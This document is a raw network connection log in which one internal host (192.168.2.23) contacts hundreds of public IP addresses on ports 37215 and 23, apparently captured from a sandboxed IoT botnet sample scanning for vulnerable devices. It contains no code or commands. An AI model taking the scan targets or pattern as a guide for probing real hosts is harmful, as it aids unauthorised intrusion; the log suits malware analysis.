Dec 3, 2024 23:01:49.667601109 CET	59534	37215	192.168.2.23	156.220.192.25
Dec 3, 2024 23:01:49.667602062 CET	59534	37215	192.168.2.23	197.213.168.248
Dec 3, 2024 23:01:49.667612076 CET	59534	37215	192.168.2.23	197.162.35.229
Dec 3, 2024 23:01:49.667618990 CET	59534	37215	192.168.2.23	41.190.237.57
Dec 3, 2024 23:01:49.667623043 CET	59534	37215	192.168.2.23	156.76.59.173
Dec 3, 2024 23:01:49.667632103 CET	59534	37215	192.168.2.23	41.63.123.205
Dec 3, 2024 23:01:49.667635918 CET	59534	37215	192.168.2.23	156.220.69.98
Dec 3, 2024 23:01:49.667635918 CET	59534	37215	192.168.2.23	41.246.133.111
Dec 3, 2024 23:01:49.667639017 CET	59534	37215	192.168.2.23	156.122.145.97
Dec 3, 2024 23:01:49.667639017 CET	59534	37215	192.168.2.23	156.83.48.195
Dec 3, 2024 23:01:49.667642117 CET	59534	37215	192.168.2.23	41.77.89.147
Dec 3, 2024 23:01:49.667653084 CET	59534	37215	192.168.2.23	41.121.188.210
Dec 3, 2024 23:01:49.667655945 CET	59534	37215	192.168.2.23	156.4.40.34
Dec 3, 2024 23:01:49.667655945 CET	59534	37215	192.168.2.23	41.222.87.202
Dec 3, 2024 23:01:49.667656898 CET	59534	37215	192.168.2.23	197.75.185.215
Dec 3, 2024 23:01:49.667666912 CET	59534	37215	192.168.2.23	41.67.1.233
Dec 3, 2024 23:01:49.667679071 CET	59534	37215	192.168.2.23	197.55.48.161
Dec 3, 2024 23:01:49.667680025 CET	59534	37215	192.168.2.23	41.180.29.173
Dec 3, 2024 23:01:49.667680025 CET	59534	37215	192.168.2.23	197.57.191.160
Dec 3, 2024 23:01:49.667680025 CET	59534	37215	192.168.2.23	197.191.102.237
Dec 3, 2024 23:01:49.667695045 CET	59534	37215	192.168.2.23	197.0.200.86
Dec 3, 2024 23:01:49.667701006 CET	59534	37215	192.168.2.23	41.161.167.122
Dec 3, 2024 23:01:49.667705059 CET	59534	37215	192.168.2.23	156.127.234.224
Dec 3, 2024 23:01:49.667718887 CET	59534	37215	192.168.2.23	156.38.168.156
Dec 3, 2024 23:01:49.667718887 CET	59534	37215	192.168.2.23	156.13.213.142
Dec 3, 2024 23:01:49.667731047 CET	59534	37215	192.168.2.23	156.147.174.244
Dec 3, 2024 23:01:49.667731047 CET	59534	37215	192.168.2.23	156.189.243.45
Dec 3, 2024 23:01:49.667732000 CET	59534	37215	192.168.2.23	41.157.225.68
Dec 3, 2024 23:01:49.667736053 CET	59534	37215	192.168.2.23	197.149.129.202
Dec 3, 2024 23:01:49.667740107 CET	59534	37215	192.168.2.23	197.142.190.66
Dec 3, 2024 23:01:49.667741060 CET	59534	37215	192.168.2.23	41.216.197.157
Dec 3, 2024 23:01:49.667743921 CET	59534	37215	192.168.2.23	197.51.160.137
Dec 3, 2024 23:01:49.667743921 CET	59534	37215	192.168.2.23	156.1.23.96
Dec 3, 2024 23:01:49.667747974 CET	59534	37215	192.168.2.23	156.239.25.184
Dec 3, 2024 23:01:49.667748928 CET	59534	37215	192.168.2.23	156.97.70.45
Dec 3, 2024 23:01:49.667753935 CET	59534	37215	192.168.2.23	41.222.27.215
Dec 3, 2024 23:01:49.667754889 CET	59534	37215	192.168.2.23	41.93.244.226
Dec 3, 2024 23:01:49.667754889 CET	59534	37215	192.168.2.23	197.128.74.53
Dec 3, 2024 23:01:49.667759895 CET	59534	37215	192.168.2.23	41.116.163.24
Dec 3, 2024 23:01:49.667759895 CET	59534	37215	192.168.2.23	41.98.206.80
Dec 3, 2024 23:01:49.667759895 CET	59534	37215	192.168.2.23	41.11.234.140
Dec 3, 2024 23:01:49.667768002 CET	59534	37215	192.168.2.23	197.221.191.167
Dec 3, 2024 23:01:49.667772055 CET	59534	37215	192.168.2.23	41.62.9.52
Dec 3, 2024 23:01:49.667773962 CET	59534	37215	192.168.2.23	156.245.174.155
Dec 3, 2024 23:01:49.667776108 CET	59534	37215	192.168.2.23	197.150.146.208
Dec 3, 2024 23:01:49.667781115 CET	59534	37215	192.168.2.23	41.115.26.92
Dec 3, 2024 23:01:49.667781115 CET	59534	37215	192.168.2.23	41.64.102.117
Dec 3, 2024 23:01:49.667795897 CET	59534	37215	192.168.2.23	156.34.24.210
Dec 3, 2024 23:01:49.667795897 CET	59534	37215	192.168.2.23	41.211.218.165
Dec 3, 2024 23:01:49.667798996 CET	59534	37215	192.168.2.23	41.121.94.34
Dec 3, 2024 23:01:49.667804003 CET	59534	37215	192.168.2.23	197.58.208.25
Dec 3, 2024 23:01:49.667804956 CET	59534	37215	192.168.2.23	156.23.178.253
Dec 3, 2024 23:01:49.667804956 CET	59534	37215	192.168.2.23	41.190.65.226
Dec 3, 2024 23:01:49.667804956 CET	59534	37215	192.168.2.23	156.69.168.21
Dec 3, 2024 23:01:49.667819977 CET	59534	37215	192.168.2.23	197.219.36.229
Dec 3, 2024 23:01:49.667825937 CET	59534	37215	192.168.2.23	197.251.103.33
Dec 3, 2024 23:01:49.667825937 CET	59534	37215	192.168.2.23	156.37.72.183
Dec 3, 2024 23:01:49.667829990 CET	59534	37215	192.168.2.23	41.157.45.41
Dec 3, 2024 23:01:49.667834044 CET	59534	37215	192.168.2.23	197.64.34.35
Dec 3, 2024 23:01:49.667850971 CET	59534	37215	192.168.2.23	197.4.16.3
Dec 3, 2024 23:01:49.667851925 CET	59534	37215	192.168.2.23	156.229.38.148
Dec 3, 2024 23:01:49.667851925 CET	59534	37215	192.168.2.23	156.251.237.23
Dec 3, 2024 23:01:49.667865038 CET	59534	37215	192.168.2.23	156.71.227.204
Dec 3, 2024 23:01:49.667865992 CET	59534	37215	192.168.2.23	197.165.254.225
Dec 3, 2024 23:01:49.667870998 CET	59534	37215	192.168.2.23	156.91.223.44
Dec 3, 2024 23:01:49.667881966 CET	59534	37215	192.168.2.23	41.72.167.41
Dec 3, 2024 23:01:49.667884111 CET	59534	37215	192.168.2.23	156.86.71.9
Dec 3, 2024 23:01:49.667889118 CET	59534	37215	192.168.2.23	197.141.109.128
Dec 3, 2024 23:01:49.667907000 CET	59534	37215	192.168.2.23	197.105.22.205
Dec 3, 2024 23:01:49.667907000 CET	59534	37215	192.168.2.23	156.133.125.250
Dec 3, 2024 23:01:49.667907000 CET	59534	37215	192.168.2.23	156.250.13.186
Dec 3, 2024 23:01:49.667913914 CET	59534	37215	192.168.2.23	156.196.94.184
Dec 3, 2024 23:01:49.667922020 CET	59534	37215	192.168.2.23	197.186.213.63
Dec 3, 2024 23:01:49.667939901 CET	59534	37215	192.168.2.23	197.8.241.234
Dec 3, 2024 23:01:49.667941093 CET	59534	37215	192.168.2.23	156.215.56.78
Dec 3, 2024 23:01:49.667941093 CET	59534	37215	192.168.2.23	41.56.73.88
Dec 3, 2024 23:01:49.667948008 CET	59534	37215	192.168.2.23	41.236.113.167
Dec 3, 2024 23:01:49.667948961 CET	59534	37215	192.168.2.23	41.141.168.151
Dec 3, 2024 23:01:49.667958021 CET	59534	37215	192.168.2.23	197.237.234.161
Dec 3, 2024 23:01:49.667958021 CET	59534	37215	192.168.2.23	197.211.239.232
Dec 3, 2024 23:01:49.667958021 CET	59534	37215	192.168.2.23	197.175.93.246
Dec 3, 2024 23:01:49.667958021 CET	59534	37215	192.168.2.23	41.25.203.199
Dec 3, 2024 23:01:49.667963028 CET	59534	37215	192.168.2.23	156.110.118.102
Dec 3, 2024 23:01:49.667964935 CET	59534	37215	192.168.2.23	197.20.236.190
Dec 3, 2024 23:01:49.667983055 CET	59534	37215	192.168.2.23	41.17.166.104
Dec 3, 2024 23:01:49.667984962 CET	59534	37215	192.168.2.23	41.44.28.244
Dec 3, 2024 23:01:49.667989969 CET	59534	37215	192.168.2.23	41.101.63.163
Dec 3, 2024 23:01:49.668004990 CET	59534	37215	192.168.2.23	41.117.11.249
Dec 3, 2024 23:01:49.668006897 CET	59534	37215	192.168.2.23	197.194.151.36
Dec 3, 2024 23:01:49.668009996 CET	59534	37215	192.168.2.23	41.151.140.120
Dec 3, 2024 23:01:49.668009996 CET	59534	37215	192.168.2.23	197.209.160.251
Dec 3, 2024 23:01:49.668015957 CET	59534	37215	192.168.2.23	197.1.167.188
Dec 3, 2024 23:01:49.668035030 CET	59534	37215	192.168.2.23	156.29.163.23
Dec 3, 2024 23:01:49.668035030 CET	59534	37215	192.168.2.23	156.77.173.233
Dec 3, 2024 23:01:49.668036938 CET	59534	37215	192.168.2.23	41.79.8.114
Dec 3, 2024 23:01:49.668036938 CET	59534	37215	192.168.2.23	156.48.101.72
Dec 3, 2024 23:01:49.668046951 CET	59534	37215	192.168.2.23	197.112.193.220
Dec 3, 2024 23:01:49.668046951 CET	59534	37215	192.168.2.23	156.128.163.186
Dec 3, 2024 23:01:49.668189049 CET	62862	23	192.168.2.23	189.99.110.247
Dec 3, 2024 23:01:49.668194056 CET	62862	23	192.168.2.23	8.102.38.226
Dec 3, 2024 23:01:49.668194056 CET	62862	23	192.168.2.23	96.35.13.253
Dec 3, 2024 23:01:49.668194056 CET	62862	23	192.168.2.23	48.65.45.51
Dec 3, 2024 23:01:49.668194056 CET	62862	23	192.168.2.23	140.186.71.92
Dec 3, 2024 23:01:49.668199062 CET	62862	23	192.168.2.23	161.99.44.103
Dec 3, 2024 23:01:49.668199062 CET	62862	23	192.168.2.23	208.250.157.234
Dec 3, 2024 23:01:49.668200970 CET	62862	23	192.168.2.23	165.241.190.2
Dec 3, 2024 23:01:49.668201923 CET	62862	23	192.168.2.23	120.86.29.172
Dec 3, 2024 23:01:49.668212891 CET	62862	23	192.168.2.23	39.48.53.95
Dec 3, 2024 23:01:49.668212891 CET	62862	23	192.168.2.23	221.120.43.43
Dec 3, 2024 23:01:49.668220043 CET	62862	23	192.168.2.23	135.174.214.233
Dec 3, 2024 23:01:49.668231964 CET	62862	23	192.168.2.23	175.103.147.238
Dec 3, 2024 23:01:49.668232918 CET	62862	23	192.168.2.23	209.155.204.13
Dec 3, 2024 23:01:49.668232918 CET	62862	23	192.168.2.23	134.97.190.150
Dec 3, 2024 23:01:49.668246984 CET	62862	23	192.168.2.23	172.240.28.59
Dec 3, 2024 23:01:49.668248892 CET	62862	23	192.168.2.23	132.17.1.147
Dec 3, 2024 23:01:49.668252945 CET	62862	23	192.168.2.23	203.64.151.34
Dec 3, 2024 23:01:49.668260098 CET	62862	23	192.168.2.23	109.226.114.248
Dec 3, 2024 23:01:49.668263912 CET	62862	23	192.168.2.23	44.59.116.12
Dec 3, 2024 23:01:49.668270111 CET	62862	23	192.168.2.23	187.219.202.34
Dec 3, 2024 23:01:49.668277979 CET	62862	23	192.168.2.23	188.124.205.246
Dec 3, 2024 23:01:49.668281078 CET	62862	23	192.168.2.23	117.119.201.238
Dec 3, 2024 23:01:49.668281078 CET	62862	23	192.168.2.23	182.62.187.40
Dec 3, 2024 23:01:49.668282032 CET	62862	23	192.168.2.23	8.20.139.68
Dec 3, 2024 23:01:49.668288946 CET	62862	23	192.168.2.23	191.97.70.24
Dec 3, 2024 23:01:49.668291092 CET	62862	23	192.168.2.23	14.207.105.0
Dec 3, 2024 23:01:49.668298006 CET	62862	23	192.168.2.23	178.248.7.167
Dec 3, 2024 23:01:49.668299913 CET	62862	23	192.168.2.23	93.113.71.168
Dec 3, 2024 23:01:49.668303967 CET	62862	23	192.168.2.23	197.137.23.133
Dec 3, 2024 23:01:49.668312073 CET	62862	23	192.168.2.23	145.99.104.54
Dec 3, 2024 23:01:49.668315887 CET	62862	23	192.168.2.23	84.77.52.123
Dec 3, 2024 23:01:49.668328047 CET	62862	23	192.168.2.23	183.147.80.253
Dec 3, 2024 23:01:49.668329954 CET	62862	23	192.168.2.23	68.177.124.5
Dec 3, 2024 23:01:49.668334961 CET	62862	23	192.168.2.23	123.9.143.36
Dec 3, 2024 23:01:49.668351889 CET	62862	23	192.168.2.23	74.204.141.143
Dec 3, 2024 23:01:49.668351889 CET	62862	23	192.168.2.23	80.67.254.176
Dec 3, 2024 23:01:49.668353081 CET	62862	23	192.168.2.23	8.192.157.72
Dec 3, 2024 23:01:49.668354034 CET	62862	23	192.168.2.23	163.72.46.89
Dec 3, 2024 23:01:49.668358088 CET	62862	23	192.168.2.23	9.198.169.183
Dec 3, 2024 23:01:49.668358088 CET	62862	23	192.168.2.23	70.45.13.38
Dec 3, 2024 23:01:49.668359995 CET	62862	23	192.168.2.23	166.9.223.20
Dec 3, 2024 23:01:49.668359995 CET	62862	23	192.168.2.23	216.90.221.115
Dec 3, 2024 23:01:49.668360949 CET	62862	23	192.168.2.23	197.115.36.163
Dec 3, 2024 23:01:49.668371916 CET	62862	23	192.168.2.23	91.183.162.138
Dec 3, 2024 23:01:49.668376923 CET	62862	23	192.168.2.23	137.17.21.27
Dec 3, 2024 23:01:49.668376923 CET	62862	23	192.168.2.23	96.54.104.134
Dec 3, 2024 23:01:49.668382883 CET	62862	23	192.168.2.23	63.220.221.120
Dec 3, 2024 23:01:49.668382883 CET	62862	23	192.168.2.23	32.233.144.88
Dec 3, 2024 23:01:49.668391943 CET	62862	23	192.168.2.23	83.27.72.41
Dec 3, 2024 23:01:49.668391943 CET	62862	23	192.168.2.23	190.254.85.133
Dec 3, 2024 23:01:49.668394089 CET	62862	23	192.168.2.23	147.9.70.67
Dec 3, 2024 23:01:49.668401957 CET	62862	23	192.168.2.23	164.232.114.173
Dec 3, 2024 23:01:49.668407917 CET	62862	23	192.168.2.23	93.131.156.28
Dec 3, 2024 23:01:49.668412924 CET	62862	23	192.168.2.23	117.53.155.99
Dec 3, 2024 23:01:49.668421030 CET	62862	23	192.168.2.23	184.35.16.137
Dec 3, 2024 23:01:49.668421030 CET	62862	23	192.168.2.23	36.112.21.105
Dec 3, 2024 23:01:49.668421984 CET	62862	23	192.168.2.23	12.149.234.220
Dec 3, 2024 23:01:49.668421984 CET	62862	23	192.168.2.23	59.146.179.180
Dec 3, 2024 23:01:49.668425083 CET	62862	23	192.168.2.23	43.201.44.134
Dec 3, 2024 23:01:49.668430090 CET	62862	23	192.168.2.23	196.178.130.147
Dec 3, 2024 23:01:49.668431044 CET	62862	23	192.168.2.23	49.211.251.174
Dec 3, 2024 23:01:49.668433905 CET	62862	23	192.168.2.23	200.251.164.193
Dec 3, 2024 23:01:49.668437958 CET	62862	23	192.168.2.23	167.141.61.35
Dec 3, 2024 23:01:49.668442011 CET	62862	23	192.168.2.23	173.172.175.167
Dec 3, 2024 23:01:49.668468952 CET	62862	23	192.168.2.23	178.217.2.156
Dec 3, 2024 23:01:49.668468952 CET	62862	23	192.168.2.23	123.155.252.19
Dec 3, 2024 23:01:49.668468952 CET	62862	23	192.168.2.23	219.68.89.252
Dec 3, 2024 23:01:49.668468952 CET	62862	23	192.168.2.23	184.22.105.219
Dec 3, 2024 23:01:49.668472052 CET	62862	23	192.168.2.23	159.144.98.9
Dec 3, 2024 23:01:49.668472052 CET	62862	23	192.168.2.23	35.209.3.112
Dec 3, 2024 23:01:49.668473005 CET	62862	23	192.168.2.23	213.72.203.125
Dec 3, 2024 23:01:49.668482065 CET	62862	23	192.168.2.23	155.8.110.155
Dec 3, 2024 23:01:49.668484926 CET	62862	23	192.168.2.23	124.248.142.239
Dec 3, 2024 23:01:49.668488979 CET	62862	23	192.168.2.23	174.65.69.46
Dec 3, 2024 23:01:49.668493032 CET	62862	23	192.168.2.23	158.74.115.98
Dec 3, 2024 23:01:49.668493986 CET	62862	23	192.168.2.23	80.186.65.134
Dec 3, 2024 23:01:49.668498993 CET	62862	23	192.168.2.23	84.201.138.88
Dec 3, 2024 23:01:49.668503046 CET	62862	23	192.168.2.23	82.218.127.220
Dec 3, 2024 23:01:49.668505907 CET	62862	23	192.168.2.23	47.63.34.217
Dec 3, 2024 23:01:49.668509960 CET	62862	23	192.168.2.23	101.96.30.8
Dec 3, 2024 23:01:49.668524027 CET	62862	23	192.168.2.23	124.233.147.22
Dec 3, 2024 23:01:49.668524027 CET	62862	23	192.168.2.23	190.119.210.201
Dec 3, 2024 23:01:49.668530941 CET	62862	23	192.168.2.23	184.87.57.47
Dec 3, 2024 23:01:49.668530941 CET	62862	23	192.168.2.23	216.207.173.211
Dec 3, 2024 23:01:49.668540955 CET	62862	23	192.168.2.23	58.193.229.158
Dec 3, 2024 23:01:49.668540955 CET	62862	23	192.168.2.23	149.156.237.107
Dec 3, 2024 23:01:49.668553114 CET	62862	23	192.168.2.23	110.232.66.8
Dec 3, 2024 23:01:49.668569088 CET	62862	23	192.168.2.23	72.39.80.206
Dec 3, 2024 23:01:49.668570995 CET	62862	23	192.168.2.23	54.26.195.79
Dec 3, 2024 23:01:49.668570995 CET	62862	23	192.168.2.23	132.152.208.232
Dec 3, 2024 23:01:49.668574095 CET	62862	23	192.168.2.23	166.246.164.37
Dec 3, 2024 23:01:49.668586969 CET	62862	23	192.168.2.23	120.37.128.225
Dec 3, 2024 23:01:49.668591022 CET	62862	23	192.168.2.23	2.54.203.231
Dec 3, 2024 23:01:49.668592930 CET	62862	23	192.168.2.23	20.144.225.175
Dec 3, 2024 23:01:49.668606043 CET	62862	23	192.168.2.23	209.249.105.203
Dec 3, 2024 23:01:49.668607950 CET	62862	23	192.168.2.23	188.155.183.49
Dec 3, 2024 23:01:49.668612957 CET	62862	23	192.168.2.23	45.32.241.165
Dec 3, 2024 23:01:49.668612957 CET	62862	23	192.168.2.23	57.155.214.132
Dec 3, 2024 23:01:49.668612957 CET	62862	23	192.168.2.23	212.117.160.2
Dec 3, 2024 23:01:49.668647051 CET	62862	23	192.168.2.23	154.32.68.177
Dec 3, 2024 23:01:49.668648958 CET	62862	23	192.168.2.23	99.151.114.47
Dec 3, 2024 23:01:49.668649912 CET	62862	23	192.168.2.23	181.249.183.199
Dec 3, 2024 23:01:49.668668985 CET	62862	23	192.168.2.23	59.159.25.217
Dec 3, 2024 23:01:49.668668985 CET	62862	23	192.168.2.23	167.135.174.163
Dec 3, 2024 23:01:49.668668985 CET	62862	23	192.168.2.23	65.114.163.61
Dec 3, 2024 23:01:49.668670893 CET	62862	23	192.168.2.23	150.194.15.182
Dec 3, 2024 23:01:49.668670893 CET	62862	23	192.168.2.23	205.150.167.254
Dec 3, 2024 23:01:49.668670893 CET	62862	23	192.168.2.23	138.219.4.86
Dec 3, 2024 23:01:49.668670893 CET	62862	23	192.168.2.23	198.3.96.92
Dec 3, 2024 23:01:49.668673038 CET	62862	23	192.168.2.23	183.208.28.246
Dec 3, 2024 23:01:49.668673038 CET	62862	23	192.168.2.23	180.136.107.181
Dec 3, 2024 23:01:49.668674946 CET	62862	23	192.168.2.23	89.53.78.63
Dec 3, 2024 23:01:49.668675900 CET	62862	23	192.168.2.23	17.250.52.206
Dec 3, 2024 23:01:49.668675900 CET	62862	23	192.168.2.23	106.6.175.217
Dec 3, 2024 23:01:49.668673038 CET	62862	23	192.168.2.23	207.79.138.179
Dec 3, 2024 23:01:49.668677092 CET	62862	23	192.168.2.23	58.94.25.233
Dec 3, 2024 23:01:49.668673038 CET	62862	23	192.168.2.23	157.83.159.8
Dec 3, 2024 23:01:49.668675900 CET	62862	23	192.168.2.23	75.28.210.57
Dec 3, 2024 23:01:49.668673038 CET	62862	23	192.168.2.23	195.148.176.193
Dec 3, 2024 23:01:49.668675900 CET	62862	23	192.168.2.23	85.154.164.114
Dec 3, 2024 23:01:49.668675900 CET	62862	23	192.168.2.23	36.197.215.193
Dec 3, 2024 23:01:49.668680906 CET	62862	23	192.168.2.23	159.171.239.193
Dec 3, 2024 23:01:49.668688059 CET	62862	23	192.168.2.23	23.112.211.158
Dec 3, 2024 23:01:49.668689013 CET	62862	23	192.168.2.23	41.253.39.71
Dec 3, 2024 23:01:49.668689966 CET	62862	23	192.168.2.23	126.120.9.157
Dec 3, 2024 23:01:49.668690920 CET	62862	23	192.168.2.23	209.139.80.115
Dec 3, 2024 23:01:49.668698072 CET	62862	23	192.168.2.23	138.56.20.104
Dec 3, 2024 23:01:49.668699026 CET	62862	23	192.168.2.23	49.46.47.113
Dec 3, 2024 23:01:49.668699026 CET	62862	23	192.168.2.23	208.51.178.11
Dec 3, 2024 23:01:49.668699026 CET	62862	23	192.168.2.23	185.136.254.182
Dec 3, 2024 23:01:49.668703079 CET	62862	23	192.168.2.23	116.168.253.186
Dec 3, 2024 23:01:49.668708086 CET	62862	23	192.168.2.23	49.142.162.103
Dec 3, 2024 23:01:49.668709993 CET	62862	23	192.168.2.23	8.139.30.133
Dec 3, 2024 23:01:49.668709993 CET	62862	23	192.168.2.23	111.76.2.179
Dec 3, 2024 23:01:49.668709993 CET	62862	23	192.168.2.23	69.175.29.34
Dec 3, 2024 23:01:49.668718100 CET	62862	23	192.168.2.23	150.147.10.21
Dec 3, 2024 23:01:49.668724060 CET	62862	23	192.168.2.23	117.121.187.38
Dec 3, 2024 23:01:49.668725967 CET	62862	23	192.168.2.23	20.244.75.235
Dec 3, 2024 23:01:49.668740034 CET	62862	23	192.168.2.23	217.9.168.159
Dec 3, 2024 23:01:49.668745041 CET	62862	23	192.168.2.23	161.64.132.99
Dec 3, 2024 23:01:49.668745041 CET	62862	23	192.168.2.23	135.117.216.153
Dec 3, 2024 23:01:49.668745995 CET	62862	23	192.168.2.23	197.145.194.58
Dec 3, 2024 23:01:49.668745995 CET	62862	23	192.168.2.23	155.222.73.91
Dec 3, 2024 23:01:49.668745995 CET	62862	23	192.168.2.23	182.175.139.57
Dec 3, 2024 23:01:49.668765068 CET	62862	23	192.168.2.23	145.171.133.123
Dec 3, 2024 23:01:49.668766975 CET	62862	23	192.168.2.23	149.64.65.18
Dec 3, 2024 23:01:49.668768883 CET	62862	23	192.168.2.23	69.106.166.43
Dec 3, 2024 23:01:49.668768883 CET	62862	23	192.168.2.23	14.145.201.43
Dec 3, 2024 23:01:49.668771982 CET	62862	23	192.168.2.23	206.40.93.189
Dec 3, 2024 23:01:49.668782949 CET	62862	23	192.168.2.23	165.142.209.103
Dec 3, 2024 23:01:49.668787956 CET	62862	23	192.168.2.23	187.180.204.121
Dec 3, 2024 23:01:49.668787003 CET	62862	23	192.168.2.23	25.182.220.196
Dec 3, 2024 23:01:49.668797970 CET	62862	23	192.168.2.23	8.41.85.179
Dec 3, 2024 23:01:49.668803930 CET	62862	23	192.168.2.23	68.44.49.43
Dec 3, 2024 23:01:49.668804884 CET	62862	23	192.168.2.23	220.199.207.146
Dec 3, 2024 23:01:49.668812990 CET	62862	23	192.168.2.23	59.43.86.105
Dec 3, 2024 23:01:49.668819904 CET	62862	23	192.168.2.23	8.108.57.107
Dec 3, 2024 23:01:49.668834925 CET	62862	23	192.168.2.23	5.134.207.74
Dec 3, 2024 23:01:49.668836117 CET	62862	23	192.168.2.23	184.155.37.98
Dec 3, 2024 23:01:49.668838024 CET	62862	23	192.168.2.23	164.132.225.5
Dec 3, 2024 23:01:49.668838024 CET	62862	23	192.168.2.23	205.186.222.27
Dec 3, 2024 23:01:49.668843985 CET	62862	23	192.168.2.23	77.221.236.67
Dec 3, 2024 23:01:49.668862104 CET	62862	23	192.168.2.23	77.141.31.77
Dec 3, 2024 23:01:49.668869019 CET	62862	23	192.168.2.23	91.138.135.7
Dec 3, 2024 23:01:49.668869019 CET	62862	23	192.168.2.23	208.174.237.84
Dec 3, 2024 23:01:49.668869972 CET	62862	23	192.168.2.23	216.209.42.1
Dec 3, 2024 23:01:49.668879032 CET	62862	23	192.168.2.23	164.171.216.130
Dec 3, 2024 23:01:49.668879032 CET	62862	23	192.168.2.23	116.253.225.250
Dec 3, 2024 23:01:49.668885946 CET	62862	23	192.168.2.23	94.40.240.198
Dec 3, 2024 23:01:49.668888092 CET	62862	23	192.168.2.23	53.39.202.12
Dec 3, 2024 23:01:49.668899059 CET	62862	23	192.168.2.23	4.196.31.84
Dec 3, 2024 23:01:49.668905020 CET	62862	23	192.168.2.23	120.65.175.91
Dec 3, 2024 23:01:49.668910980 CET	62862	23	192.168.2.23	178.97.78.184
Dec 3, 2024 23:01:49.668920040 CET	62862	23	192.168.2.23	188.46.34.150
Dec 3, 2024 23:01:49.668925047 CET	62862	23	192.168.2.23	60.51.25.158
Dec 3, 2024 23:01:49.668925047 CET	62862	23	192.168.2.23	82.57.107.154
Dec 3, 2024 23:01:49.668929100 CET	62862	23	192.168.2.23	177.93.170.20
Dec 3, 2024 23:01:49.668945074 CET	62862	23	192.168.2.23	202.241.175.23
Dec 3, 2024 23:01:49.668945074 CET	62862	23	192.168.2.23	109.180.73.250
Dec 3, 2024 23:01:49.668952942 CET	62862	23	192.168.2.23	96.80.107.41
Dec 3, 2024 23:01:49.668955088 CET	62862	23	192.168.2.23	199.140.15.99
Dec 3, 2024 23:01:49.668973923 CET	62862	23	192.168.2.23	142.125.32.71
Dec 3, 2024 23:01:49.668976068 CET	62862	23	192.168.2.23	99.189.66.25
Dec 3, 2024 23:01:49.668976068 CET	62862	23	192.168.2.23	121.178.176.30
Dec 3, 2024 23:01:49.668978930 CET	62862	23	192.168.2.23	182.30.197.28
Dec 3, 2024 23:01:49.668979883 CET	62862	23	192.168.2.23	121.156.225.151
Dec 3, 2024 23:01:49.668983936 CET	62862	23	192.168.2.23	130.240.47.17
Dec 3, 2024 23:01:49.668984890 CET	62862	23	192.168.2.23	132.75.246.97
Dec 3, 2024 23:01:49.668991089 CET	62862	23	192.168.2.23	24.191.74.76
Dec 3, 2024 23:01:49.668998957 CET	62862	23	192.168.2.23	65.174.220.38
Dec 3, 2024 23:01:49.668998957 CET	62862	23	192.168.2.23	99.207.39.28
Dec 3, 2024 23:01:49.669008970 CET	62862	23	192.168.2.23	196.43.159.89
Dec 3, 2024 23:01:49.669012070 CET	62862	23	192.168.2.23	85.70.39.30
Dec 3, 2024 23:01:49.669020891 CET	62862	23	192.168.2.23	132.212.169.200
Dec 3, 2024 23:01:49.669024944 CET	62862	23	192.168.2.23	68.81.245.99
Dec 3, 2024 23:01:49.669025898 CET	62862	23	192.168.2.23	20.48.4.102
Dec 3, 2024 23:01:49.669034958 CET	62862	23	192.168.2.23	168.173.4.129
Dec 3, 2024 23:01:49.669038057 CET	62862	23	192.168.2.23	103.53.146.79
Dec 3, 2024 23:01:49.669051886 CET	62862	23	192.168.2.23	190.86.59.199
Dec 3, 2024 23:01:49.669054031 CET	62862	23	192.168.2.23	133.54.90.15
Dec 3, 2024 23:01:49.669064999 CET	62862	23	192.168.2.23	46.203.224.232
Dec 3, 2024 23:01:49.669074059 CET	62862	23	192.168.2.23	211.224.63.206
Dec 3, 2024 23:01:49.669075012 CET	62862	23	192.168.2.23	27.198.96.19
Dec 3, 2024 23:01:49.669078112 CET	62862	23	192.168.2.23	189.77.157.74
Dec 3, 2024 23:01:49.669084072 CET	62862	23	192.168.2.23	129.56.233.219
Dec 3, 2024 23:01:49.669084072 CET	62862	23	192.168.2.23	189.73.209.69
Dec 3, 2024 23:01:49.669095993 CET	62862	23	192.168.2.23	51.229.183.53
Dec 3, 2024 23:01:49.669107914 CET	62862	23	192.168.2.23	221.182.44.185
Dec 3, 2024 23:01:49.669109106 CET	62862	23	192.168.2.23	74.189.228.65
Dec 3, 2024 23:01:49.669111967 CET	62862	23	192.168.2.23	133.149.197.207
Dec 3, 2024 23:01:49.669120073 CET	62862	23	192.168.2.23	199.193.150.212
Dec 3, 2024 23:01:49.669120073 CET	62862	23	192.168.2.23	131.116.177.232
Dec 3, 2024 23:01:49.669120073 CET	62862	23	192.168.2.23	147.54.249.92
Dec 3, 2024 23:01:49.669121981 CET	62862	23	192.168.2.23	124.176.246.121
Dec 3, 2024 23:01:49.669121981 CET	62862	23	192.168.2.23	62.87.202.146
Dec 3, 2024 23:01:49.669126987 CET	62862	23	192.168.2.23	31.87.156.66
Dec 3, 2024 23:01:49.669128895 CET	62862	23	192.168.2.23	17.41.209.151
Dec 3, 2024 23:01:49.669133902 CET	62862	23	192.168.2.23	145.230.69.197
Dec 3, 2024 23:01:49.669142008 CET	62862	23	192.168.2.23	203.70.47.65
Dec 3, 2024 23:01:49.669142008 CET	62862	23	192.168.2.23	154.174.99.31
Dec 3, 2024 23:01:49.669142008 CET	62862	23	192.168.2.23	71.171.89.56
Dec 3, 2024 23:01:49.669148922 CET	62862	23	192.168.2.23	165.238.206.33
Dec 3, 2024 23:01:49.669150114 CET	62862	23	192.168.2.23	186.18.53.136
Dec 3, 2024 23:01:49.669150114 CET	62862	23	192.168.2.23	113.40.169.46
Dec 3, 2024 23:01:49.669152021 CET	62862	23	192.168.2.23	191.15.33.127
Dec 3, 2024 23:01:49.669157982 CET	62862	23	192.168.2.23	192.28.46.21
Dec 3, 2024 23:01:49.669157982 CET	62862	23	192.168.2.23	212.150.71.38
Dec 3, 2024 23:01:49.669168949 CET	62862	23	192.168.2.23	201.107.126.12
Dec 3, 2024 23:01:49.669172049 CET	62862	23	192.168.2.23	204.241.233.1
Dec 3, 2024 23:01:49.669178963 CET	62862	23	192.168.2.23	85.100.128.10
Dec 3, 2024 23:01:49.669183016 CET	62862	23	192.168.2.23	87.126.11.78
Dec 3, 2024 23:01:49.669194937 CET	62862	23	192.168.2.23	208.95.57.73
Dec 3, 2024 23:01:49.669195890 CET	62862	23	192.168.2.23	57.248.163.72
Dec 3, 2024 23:01:49.669199944 CET	62862	23	192.168.2.23	189.67.110.26
Dec 3, 2024 23:01:49.669209003 CET	62862	23	192.168.2.23	189.109.242.165
Dec 3, 2024 23:01:49.669219017 CET	62862	23	192.168.2.23	158.128.254.225
Dec 3, 2024 23:01:49.669219017 CET	62862	23	192.168.2.23	159.162.123.225
Dec 3, 2024 23:01:49.669222116 CET	62862	23	192.168.2.23	62.177.64.134
Dec 3, 2024 23:01:49.669235945 CET	62862	23	192.168.2.23	218.189.206.132
